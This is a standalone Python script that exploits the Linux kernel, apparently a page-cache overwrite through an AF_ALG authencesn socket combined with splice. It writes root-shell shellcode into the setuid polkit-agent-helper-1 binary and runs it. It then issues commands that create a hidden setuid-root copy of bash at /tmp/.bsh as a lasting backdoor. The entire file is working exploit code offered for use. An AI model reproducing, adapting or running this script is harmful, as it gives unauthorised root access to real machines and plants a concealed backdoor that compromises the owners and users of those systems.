import ctypes, logging, os, platform, socket, stat, struct, sys, zlib, subprocess logging.basicConfig(format="%(message)s", level=logging.INFO) SOL_ALG=279; ALG_SET_KEY=1; ALG_SET_IV=2; ALG_SET_OP=3 ALG_SET_AEAD_ASSOCLEN=4; ALG_SET_AEAD_AUTHSIZE=5 if hasattr(os, "splice"): def _splice(fd_in, fd_out, count, offset_src=None): kw = {} if offset_src is None else {"offset_src": offset_src} os.splice(fd_in, fd_out, count, **kw) else: _libc = ctypes.CDLL(None, use_errno=True) _libc.splice.argtypes = [ctypes.c_int, ctypes.POINTER(ctypes.c_int64), ctypes.c_int, ctypes.POINTER(ctypes.c_int64), ctypes.c_size_t, ctypes.c_uint] _libc.splice.restype = ctypes.c_ssize_t def _splice(fd_in, fd_out, count, offset_src=None): off = ctypes.c_int64(offset_src) if offset_src is not None else None off_ref = ctypes.byref(off) if off is not None else None _libc.splice(fd_in, off_ref, fd_out, None, count, 0) def _c(f, t, chunk): alg = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0) try: alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))", 0, 0)) key = bytes.fromhex("0800010000000010" + "00" * 32) alg.setsockopt(SOL_ALG, ALG_SET_KEY, key) alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) u, _ = alg.accept() try: ancdata = [ (SOL_ALG, ALG_SET_OP, b"\x00" * 4), (SOL_ALG, ALG_SET_IV, b"\x10" + b"\x00" * 19), (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + b"\x00" * 3), ] u.sendmsg([b"AAAA" + chunk], ancdata, socket.MSG_MORE) rfd, wfd = os.pipe() try: n = t + 4 _splice(f.fileno(), wfd, n, offset_src=0) _splice(rfd, u.fileno(), n) try: u.recv(8 + t) except OSError: pass finally: os.close(rfd); os.close(wfd) finally: u.close() finally: alg.close() # x86_64 payload: setuid(0) + execve(/bin/sh) payload = zlib.decompress(bytes.fromhex("78daab77f57163626464800126367b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e6b7e10f77b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) target = "/usr/lib/polkit-1/polkit-agent-helper-1" with open(target, "rb") as f: logging.info("Target: %s (%d-byte payload)", target, len(payload)) logging.info("Overwriting page cache...") for i in range(0, len(payload), 4): _c(f, i, payload[i:i + 4]) if i % 100 == 0: logging.info(" ... wrote %d bytes", i + 4) logging.info(" ... wrote %d bytes total", len(payload)) logging.info("Running corrupted binary via subprocess...") result = subprocess.run([target], input=b"id; whoami; cp /bin/bash /tmp/.bsh && chmod 4755 /tmp/.bsh && echo DONE\n", capture_output=True, timeout=15) print("STDOUT:", result.stdout.decode() if result.stdout else "(empty)") print("STDERR:", result.stderr.decode() if result.stderr else "(empty)")